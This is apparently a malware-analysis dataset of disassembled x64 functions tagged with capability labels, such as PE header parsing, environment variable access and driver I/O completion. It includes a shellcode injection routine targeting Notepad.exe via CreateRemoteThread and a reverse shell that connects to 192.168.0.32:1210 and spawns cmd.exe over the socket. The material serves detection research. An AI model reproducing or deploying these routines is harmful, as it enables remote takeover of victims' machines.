joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001210
Capabilities:
Create thread
Inject thread

Disassembly:
sub rsp, 0x228
mov dword [rsp + 0x224], 0
lea rcx, [rsp + 0x70]
lea rdx, [0x140016460]
mov r8d, 0x1a5
call fcn.140014e70
mov qword [rsp + 0x68], 0
mov dword [rsp + 0x64], 0
lea rax, str.Notepad.exe
mov qword [rsp + 0x58], rax
mov dword [rsp + 0x54], 0
mov rcx, qword [rsp + 0x58]
lea rdx, [rsp + 0x68]
lea r8, [rsp + 0x64]
call section..text
cmp eax, 0
jne 0x14000129f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._ERROR__Could_not_obtain_handle___d__n
call fcn.140001470
mov dword [rsp + 0x224], 0x63
jmp 0x140001453
mov r8d, dword [rsp + 0x64]
mov rdx, qword [rsp + 0x58]
lea rcx, str.___The_PID_of__ls_is__d_n
call fcn.140001470
mov rcx, qword [rsp + 0x68]
xor eax, eax
mov edx, eax
mov r8d, 0x1a5
mov r9d, 0x3000
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
jne 0x14000130d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._ERROR__Could_not_allocate_remote_memory___d__n
call fcn.140001470
mov dword [rsp + 0x224], 0x64
jmp 0x140001453
mov rdx, qword [rsp + 0x48]
lea rcx, str.___Successfully_allocated_memory_at__p_n
call fcn.140001470
lea r8, [rsp + 0x70]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x68]
mov r9d, 0x1a5
xor eax, eax
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
cmp eax, 0
jne 0x140001371
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._ERROR__Could_not_write_to_remote_memory___d__n
call fcn.140001470
mov dword [rsp + 0x224], 0x65
jmp 0x140001453
lea rcx, str.___Successfully_written_payload_to_memory_n
call fcn.140001470
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x68]
mov r8d, 0x1a5
mov r9d, 0x20
lea rax, [rsp + 0x54]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
cmp eax, 0
jne 0x1400013d0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._ERROR__Could_not_change_the_memory_protection___d__n
call fcn.140001470
mov dword [rsp + 0x224], 0x66
jmp 0x140001453
lea rcx, str.___Successfully_changed_the_memory_protection_settings_to_PAGE_EXECUTE_READ_n
call fcn.140001470
mov r9, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x68]
xor eax, eax
mov edx, eax
mov r8d, 0x1a5
xor eax, eax
mov qword [rsp + 0x20], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x30], 0
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
jne 0x140001447
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._ERROR__Could_not_create_new_thread___d__n
call fcn.140001470
mov dword [rsp + 0x224], 0x66
jmp 0x140001453
lea rcx, str.___Successfully_created_a_thread__check_your_listener__n
call fcn.140001470
mov eax, dword [rsp + 0x224]
add rsp, 0x228
ret
Function at 0x140001c84
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001cce
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001cce
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001cce
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001cce
cmp dword [rcx + 0x84], 0xe
jbe 0x140001cce
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001cd0
xor al, al
add rsp, 0x28
ret

Function at 0x14000764c
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x1400076bb
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400076bb
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400076bb
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400076bb
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400076bb
cmp dword [rcx + 0x84], 0xe
jbe 0x1400076bb
cmp dword [rcx + 0xf8], 0
je 0x1400076bb
mov ecx, ebx
call fcn.14000776c
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140007548
nop
cmp dword [rbp + 0x20], 0
je 0x140007709
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140007714
int3
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x14000764c

Function at 0x140007850
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14000764c
Function at 0x14000cb98
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14000cbc8
xor eax, eax
jmp 0x14000cc8b
mov rbp, rbx
cmp word [rax], si
je 0x14000cbed
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x14000cbd4
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14000cbd0
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14000cab8
movsxd r14, eax
test eax, eax
jne 0x14000cc2b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14000cbc1
mov rcx, r14
call fcn.14000934c
mov rdi, rax
test rax, rax
jne 0x14000cc44
xor ecx, ecx
call fcn.1400086d4
jmp 0x14000cc20
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14000cab8
test eax, eax
jne 0x14000cc75
mov rcx, rdi
call fcn.1400086d4
jmp 0x14000cc7f
xor ecx, ecx
call fcn.1400086d4
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x140010fac
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x140010fc2
mov al, 1
jmp 0x140011022
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x140010fd3
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x140011020
mov ecx, dword [rcx + 0x18]
nop
call fcn.14000d4b8
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140011020
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x140011020
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x140011020
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x140011022
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x140012060
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.14000bb88
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x1400120ea
cmp byte [rbp - 0x21], r15b
je 0x1400120e5
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x140012120
call fcn.140008924
test eax, eax
jne 0x14001210c
cmp byte [rbp - 0x21], r15b
je 0x140012104
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x140012120
cmp byte [rbp - 0x21], r15b
je 0x14001211d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.14000b168
test eax, eax
jne 0x1400121c0
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.14000bb88
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x14001215f
cmp byte [rbp - 0x21], r15b
je 0x140012194
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x140012194
call fcn.140008924
test eax, eax
jne 0x140012180
cmp byte [rbp - 0x21], r15b
je 0x140012179
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x140012194
cmp byte [rbp - 0x21], r15b
je 0x140012191
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.14000b168
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x1400121c0
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x1400121c3
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x1400121d1
mov rcx, rdi
call fcn.1400086d4
cmp byte [rbp + 0x3f], r15b
je 0x1400121e0
mov rcx, qword [rbp + 0x27]
call fcn.1400086d4
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret

Function at 0x140014750
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140014778
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140014778
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001000
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create a process with modified i/o handles and window
Create process on windows
Create process suspended
Create tcp socket
Create udp socket
Initialize winsock library
Resolve dns

Disassembly:
push rdi
sub rsp, 0x170
mov rax, qword [0x14001b040]
xor rax, rsp
mov qword [rsp + 0x160], rax
lea rdx, [0x14001bae0]
mov cx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 6
mov edx, 1
mov ecx, 2
call qword [sym.imp.WS2_32.dll_WSASocketA]
mov qword [0x14001bc78], rax
lea rcx, str.192.168.0.32
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov qword [rsp + 0x50], rax
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0x50]
mov rcx, qword [rcx + 0x18]
mov rax, qword [rax + rcx]
mov ecx, dword [rax]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov r8, rax
mov edx, 0x10
lea rcx, str.192.168.0.32
call fcn.140004810
mov eax, 2
mov word [0x14001bc80], ax
lea rcx, str.1210
call fcn.140004cc0
movzx ecx, ax
call qword [sym.imp.WS2_32.dll_htons]
mov word [0x14001bc82], ax
lea rcx, str.192.168.0.32
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [0x14001bc84], eax
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 0x10
lea rdx, [0x14001bc80]
mov rcx, qword [0x14001bc78]
call qword [sym.imp.WS2_32.dll_WSAConnect]
mov r8d, 0x68
xor edx, edx
lea rcx, [0x14001bc90]
call fcn.14000f360
mov dword [0x14001bc90], 0x68
mov dword [0x14001bccc], 0x101
mov rax, qword [0x14001bc78]
mov qword [0x14001bcf0], rax
mov rax, qword [0x14001bcf0]
mov qword [0x14001bce8], rax
mov rax, qword [0x14001bce8]
mov qword [0x14001bce0], rax
mov rax, qword [str.cmd.exe]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x68]
mov rdi, rax
xor eax, eax
mov ecx, 0xf7
rep stosb byte [rdi], al
lea rax, [0x14001bcf8]
mov qword [rsp + 0x48], rax
lea rax, [0x14001bc90]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x60]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
xor eax, eax
mov rcx, qword [rsp + 0x160]
xor rcx, rsp
call fcn.140001280
add rsp, 0x170
pop rdi
ret

Function at 0x140001c6c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001cb6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001cb6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001cb6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001cb6
cmp dword [rcx + 0x84], 0xe
jbe 0x140001cb6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001cb8
xor al, al
add rsp, 0x28
ret
Function at 0x140005888
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x1400058f7
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400058f7
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400058f7
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400058f7
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400058f7
cmp dword [rcx + 0x84], 0xe
jbe 0x1400058f7
cmp dword [rcx + 0xf8], 0
je 0x1400058f7
mov ecx, ebx
call fcn.1400059a8
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140005784
nop
cmp dword [rbp + 0x20], 0
je 0x140005945
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140005950
int3
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x140005888

Function at 0x140005a8c
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140005888
Function at 0x140008c0c
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x140008c3c
xor eax, eax
jmp 0x140008cff
mov rbp, rbx
cmp word [rax], si
je 0x140008c61
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140008c48
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x140008c44
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.140008b2c
movsxd r14, eax
test eax, eax
jne 0x140008c9f
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x140008c35
mov rcx, r14
call fcn.140009ae8
mov rdi, rax
test rax, rax
jne 0x140008cb8
xor ecx, ecx
call fcn.140007228
jmp 0x140008c94
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.140008b2c
test eax, eax
jne 0x140008ce9
mov rcx, rdi
call fcn.140007228
jmp 0x140008cf3
xor ecx, ecx
call fcn.140007228
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x14000c120
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.14000685c
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x14000c1aa
cmp byte [rbp - 0x21], r15b
je 0x14000c1a5
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x14000c1e0
call fcn.14000a2f8
test eax, eax
jne 0x14000c1cc
cmp byte [rbp - 0x21], r15b
je 0x14000c1c4
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x14000c1e0
cmp byte [rbp - 0x21], r15b
je 0x14000c1dd
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.140007278
test eax, eax
jne 0x14000c280
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.14000685c
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x14000c21f
cmp byte [rbp - 0x21], r15b
je 0x14000c254
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x14000c254
call fcn.14000a2f8
test eax, eax
jne 0x14000c240
cmp byte [rbp - 0x21], r15b
je 0x14000c239
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x14000c254
cmp byte [rbp - 0x21], r15b
je 0x14000c251
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.140007278
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x14000c280
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x14000c283
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x14000c291
mov rcx, rdi
call fcn.140007228
cmp byte [rbp + 0x3f], r15b
je 0x14000c2a0
mov rcx, qword [rbp + 0x27]
call fcn.140007228
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x1170c
Capabilities:
Complete processing asynchronous io request

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
sub rsp, 0x20
mov rbx, qword [rcx + 0x80]
lea rax, [0x00021370]
lea rdi, [rcx + 0x70]
mov qword [rcx], rax
mov rsi, rcx
cmp rbx, qword [rdi + 0x10]
jne 0x117de
cmp rdi, rdi
jne 0x117de
cmp qword [rdi + 0x20], 0
je 0x117e3
mov rdx, qword [rdi + 8]
mov rcx, rdi
call fcn.000153ac
and qword [rdi + 8], 0
and qword [rdi + 0x20], 0
mov qword [rdi + 0x10], rdi
mov qword [rdi + 0x18], rdi
jmp 0x117e3
mov rax, qword [rbx + 0x18]
mov rcx, rbx
mov rdx, rbx
test rax, rax
je 0x11797
mov rbx, rax
mov rax, qword [rax + 0x10]
test rax, rax
jne 0x11789
jmp 0x117b9
mov rax, qword [rbx + 8]
cmp rbx, qword [rax + 0x18]
jne 0x117ae
mov rdx, rax
mov rax, qword [rax + 8]
cmp rdx, qword [rax + 0x18]
je 0x117a1
cmp qword [rdx + 0x18], rax
mov rbx, rdx
cmovne rbx, rax
lea r9, [rdi + 0x18]
lea r8, [rdi + 0x10]
lea rdx, [rdi + 8]
call fcn.0001e1c8
test rax, rax
je 0x117da
xor edx, edx
mov rcx, rax
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
dec qword [rdi + 0x20]
cmp rbx, rdi
jne 0x1177a
mov rbx, qword [rsi + 0x58]
cmp rbx, qword [rsi + 0x60]
je 0x1182a
lea rbp, [rbx + 8]
mov r8, qword [rsi + 0x60]
mov r12, qword [rbx]
cmp rbp, r8
je 0x1180d
sub r8, rbp
je 0x1180d
mov rdx, rbp
mov rcx, rbx
call fcn.0001f690
add qword [rsi + 0x60], 0xfffffffffffffff8
test r12, r12
je 0x11824
mov edx, 1
mov rcx, r12
call fcn.00014018
cmp rbx, qword [rsi + 0x60]
jne 0x117f1
mov rcx, qword [rsi + 0x48]
call qword [sym.imp.ntoskrnl.exe_IoDetachDevice]
mov rcx, qword [rsi + 0x50]
call fcn.0001983c
lea rcx, [rsi + 0x130]
call qword [sym.imp.ntoskrnl.exe_ExDeleteResourceLite]
lea rax, [0x00021578]
mov qword [rsi + 0xa8], rax
jmp 0x11871
and qword [rax + 0x38], 0
xor edx, edx
mov rcx, rax
mov dword [rax + 0x30], 0xc0000120
call qword [sym.imp.ntoskrnl.exe_IofCompleteRequest]
lea rcx, [rsi + 0xe8]
xor edx, edx
call qword [sym.imp.ntoskrnl.exe_IoCsqRemoveNextIrp]
test rax, rax
jne 0x1185a
lea rax, [0x00022c88]
mov qword [rsi + 0xa8], rax
cmp qword [rdi + 0x20], 0
je 0x118b8
mov rdx, qword [rdi + 8]
mov rcx, rdi
call fcn.000153ac
and qword [rdi + 8], 0
and qword [rdi + 0x20], 0
mov qword [rdi + 0x10], rdi
mov qword [rdi + 0x18], rdi
mov rcx, qword [rsi + 0x58]
test rcx, rcx
je 0x118c9
xor edx, edx
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov rcx, qword [rsi + 0x50]
test rcx, rcx
je 0x118d8
mov rax, qword [rcx]
call qword [rax + 8]
and qword [rsi + 0x50], 0
mov rcx, rsi
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r13
pop r12
pop rdi
jmp fcn.00019700
Function at 0x14240
Capabilities:
Complete processing asynchronous io request

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov r8, qword [rdx + 0xb8]
mov rbx, rdx
xor edx, edx
cmp dword [r8 + 0x18], 0x87342000
je 0x1426a
mov edi, 0xc0000010
mov dword [rbx + 0x30], edi
jmp 0x142b2
mov rdi, qword [rbx + 0x18]
mov r9d, 1
cmp word [rdi], r9w
jne 0x142a4
cmp word [rdi + 2], 2
jne 0x142a4
mov r8, rdi
mov rdx, rbx
call fcn.00014330
xor edx, edx
cmp eax, edx
je 0x14295
mov dword [rdi + 4], eax
mov dword [rbx + 0x30], edx
mov qword [rbx + 0x38], 0x54
mov edi, edx
jmp 0x142b6
mov rax, qword [rdi + 0x18]
cmp rax, rdx
jne 0x142c5
mov dword [rbx + 0x30], edx
mov edi, edx
mov qword [rbx + 0x38], rdx
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ntoskrnl.exe_IofCompleteRequest]
mov eax, edi
jmp 0x1431e
mov rax, qword [rax + 0x40]
cmp rax, rdx
je 0x142db
cmp dword [rax], 0x5465616e
jne 0x142db
mov eax, dword [rax + 4]
jmp 0x142de
or eax, 0xffffffff
cmp eax, r9d
jne 0x1430c
movzx eax, word [rdi + 2]
dec eax
cmp eax, r9d
ja 0x1430c
add byte [rbx + 0x43], r9b
lea rax, [r8 + 0x48]
mov rdx, rbx
mov qword [rbx + 0xb8], rax
mov rcx, qword [rdi + 0x18]
call qword [sym.imp.ntoskrnl.exe_IofCallDriver]
jmp 0x1431e
mov rcx, rbx
mov dword [rbx + 0x30], edx
mov qword [rbx + 0x38], rdx
call qword [sym.imp.ntoskrnl.exe_IofCompleteRequest]
xor eax, eax
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x16d70
Capabilities:
Complete processing asynchronous io request

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rsi
push rdi
sub rsp, 0x50
mov rbx, r9
mov rax, r8
mov rdi, rdx
mov rsi, rcx
test r8, r8
je 0x16e66
test rbx, rbx
je 0x16e66
and qword [r11 - 0x30], 0
and qword [r11 + 0x18], 0
mov qword [r8 + 0x10], rbx
mov r8, qword [sym.imp.ntoskrnl.exe_ExEventObjectType]
lea rcx, [r11 + 0x18]
mov r9b, 1
mov r8, qword [r8]
mov qword [r11 - 0x38], rcx
mov rcx, qword [rax + 8]
xor edx, edx
call qword [sym.imp.ntoskrnl.exe_ObReferenceObjectByHandle]
and dword [rdi + 0x30], 0
xor edx, edx
mov rcx, rdi
mov qword [rdi + 0x38], 0x54
call qword [sym.imp.ntoskrnl.exe_IofCompleteRequest]
mov rcx, qword [rsp + 0x70]
mov r11, qword [rsi + 0x80]
test rcx, rcx
je 0x16e5f
test r11, r11
je 0x16e54
and qword [rsp + 0x38], 0
and qword [rsp + 0x30], 0
xor r9d, r9d
mov qword [rsp + 0x48], rcx
lea r8d, [r9 + 1]
lea rdx, [rsp + 0x40]
lea ecx, [r9 + 2]
mov byte [rsp + 0x28], 0
mov qword [rsp + 0x40], r11
mov byte [rsp + 0x20], 0
call qword [sym.imp.ntoskrnl.exe_KeWaitForMultipleObjects]
test eax, eax
je 0x16e4f
cmp eax, 1
jne 0x16e4f
mov rcx, qword [rsp + 0x70]
mov ebx, dword [rbx]
test rcx, rcx
je 0x16e4b
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov eax, ebx
jmp 0x16e73
mov rcx, qword [rsp + 0x70]
test rcx, rcx
je 0x16e5f
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov eax, 0xc0000010
jmp 0x16e73
xor r8d, r8d
call fcn.0001b200
